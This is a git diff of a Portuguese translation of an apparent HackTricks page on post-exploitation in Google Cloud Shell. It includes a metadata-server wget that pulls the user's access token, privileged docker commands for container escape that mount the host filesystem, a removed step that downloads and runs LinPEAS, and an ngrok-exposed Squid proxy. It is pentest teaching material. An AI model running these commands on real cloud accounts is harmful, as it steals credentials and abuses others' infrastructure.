mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-12 07:40:49 -08:00
Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation
This commit is contained in:
@@ -4,46 +4,46 @@
|
|||||||
|
|
||||||
## Cloud Shell
|
## Cloud Shell
|
||||||
|
|
||||||
Para mais informações sobre Cloud Shell, veja:
|
Para mais informações sobre Cloud Shell, consulte:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../gcp-services/gcp-cloud-shell-enum.md
|
../gcp-services/gcp-cloud-shell-enum.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Container Escape
|
### Obtém o token do usuário a partir do metadata
|
||||||
|
|
||||||
Observe que o Google Cloud Shell é executado dentro de um container; você pode **fácilmente escapar para o host** executando:
|
Bastando acessar o servidor de metadata você pode obter um token para acessar como o usuário atualmente logado:
|
||||||
|
```bash
|
||||||
|
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||||
|
```
|
||||||
|
### Container Escape / Docker use
|
||||||
|
|
||||||
|
> [!WARNING]
|
||||||
|
> Anteriormente o cloud shell era executado em um container com acesso ao socket do docker do host. Agora o Google mudou a arquitetura e o container do cloud shell executa uma configuração "Docker in a container". Portanto, mesmo que seja possível usar docker a partir do cloud shell, você não conseguirá escapar para o host usando o socket do docker.
|
||||||
|
> Observe que anteriormente o arquivo `docker.sock` estava localizado em `/google/host/var/run/docker.sock` mas agora ele foi movido para `/run/docker.sock`.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Container escape commands</summary>
|
<summary>Docker use / Old container escape commands</summary>
|
||||||
```bash
|
```bash
|
||||||
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
|
sudo docker -H unix:///run/docker.sock pull alpine:latest
|
||||||
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
||||||
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
|
sudo docker -H unix:///run/docker.sock start escaper
|
||||||
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
|
sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh
|
||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Isso não é considerado uma vulnerabilidade pelo google, mas fornece uma visão mais ampla do que está acontecendo nesse ambiente.
|
Além disso, no passado era possível encontrar um token para um service account usado pela cloud shell VM no metadata server:
|
||||||
|
|
||||||
Além disso, observe que no host você pode encontrar um service account token:
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Obter service account a partir da metadata</summary>
|
<summary>Service account antigo do metadata</summary>
|
||||||
```bash
|
```bash
|
||||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||||
default/
|
default/
|
||||||
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
|
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
|
||||||
```
|
```
|
||||||
</details>
|
Com os seguintes escopos:
|
||||||
|
|
||||||
Com os seguintes scopes:
|
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary>Obter scopes da conta de serviço</summary>
|
|
||||||
```bash
|
```bash
|
||||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
|
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
|
||||||
|
|
||||||
@@ -53,37 +53,25 @@ https://www.googleapis.com/auth/monitoring.write
|
|||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Enumere metadados com LinPEAS:
|
|
||||||
|
|
||||||
|
### Usar como Proxy
|
||||||
|
|
||||||
|
Se você quiser usar sua instância do google cloud shell como proxy, precisa executar os seguintes comandos (ou inseri-los no arquivo .bashrc):
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Enumere metadados com LinPEAS</summary>
|
<summary>Instalar Squid proxy</summary>
|
||||||
```bash
|
|
||||||
cd /tmp
|
|
||||||
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
|
|
||||||
sh linpeas.sh -o cloud
|
|
||||||
```
|
|
||||||
</details>
|
|
||||||
|
|
||||||
Depois de usar [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) com o token do Service Account **nenhuma permissão foi encontrada**...
|
|
||||||
|
|
||||||
### Usar como proxy
|
|
||||||
|
|
||||||
Se você quiser usar sua google cloud shell instance como proxy, precisa executar os seguintes comandos (ou inseri-los no arquivo .bashrc):
|
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary>Install Squid proxy</summary>
|
|
||||||
```bash
|
```bash
|
||||||
sudo apt install -y squid
|
sudo apt install -y squid
|
||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Apenas para avisar, o Squid é um servidor proxy HTTP. Crie um arquivo **squid.conf** com as seguintes configurações:
|
Só para você saber: Squid é um servidor proxy HTTP. Crie um arquivo **squid.conf** com as seguintes configurações:
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Criar arquivo squid.conf</summary>
|
<summary>Criar o arquivo squid.conf</summary>
|
||||||
```bash
|
```bash
|
||||||
http_port 3128
|
http_port 3128
|
||||||
cache_dir /var/cache/squid 100 16 256
|
cache_dir /var/cache/squid 100 16 256
|
||||||
@@ -106,13 +94,13 @@ Por fim, execute o serviço squid:
|
|||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Iniciar serviço squid</summary>
|
<summary>Iniciar o serviço Squid</summary>
|
||||||
```bash
|
```bash
|
||||||
sudo service squid start
|
sudo service squid start
|
||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Use o ngrok para tornar o proxy acessível externamente:
|
Use o ngrok para tornar o proxy disponível externamente:
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
@@ -122,7 +110,7 @@ Use o ngrok para tornar o proxy acessível externamente:
|
|||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Após executar, copie a URL tcp://. Se você quiser executar o proxy a partir de um navegador, recomenda-se remover a parte tcp:// e a porta e colocar a porta no campo de porta das configurações de proxy do seu navegador (squid é um servidor proxy HTTP).
|
Após executar, copie a URL tcp://. Se quiser executar o proxy a partir de um navegador, sugere-se remover a parte tcp:// e a porta, e colocar a porta no campo de porta das configurações de proxy do seu navegador (squid é um servidor proxy http).
|
||||||
|
|
||||||
Para melhor uso na inicialização, o arquivo .bashrc deve conter as seguintes linhas:
|
Para melhor uso na inicialização, o arquivo .bashrc deve conter as seguintes linhas:
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user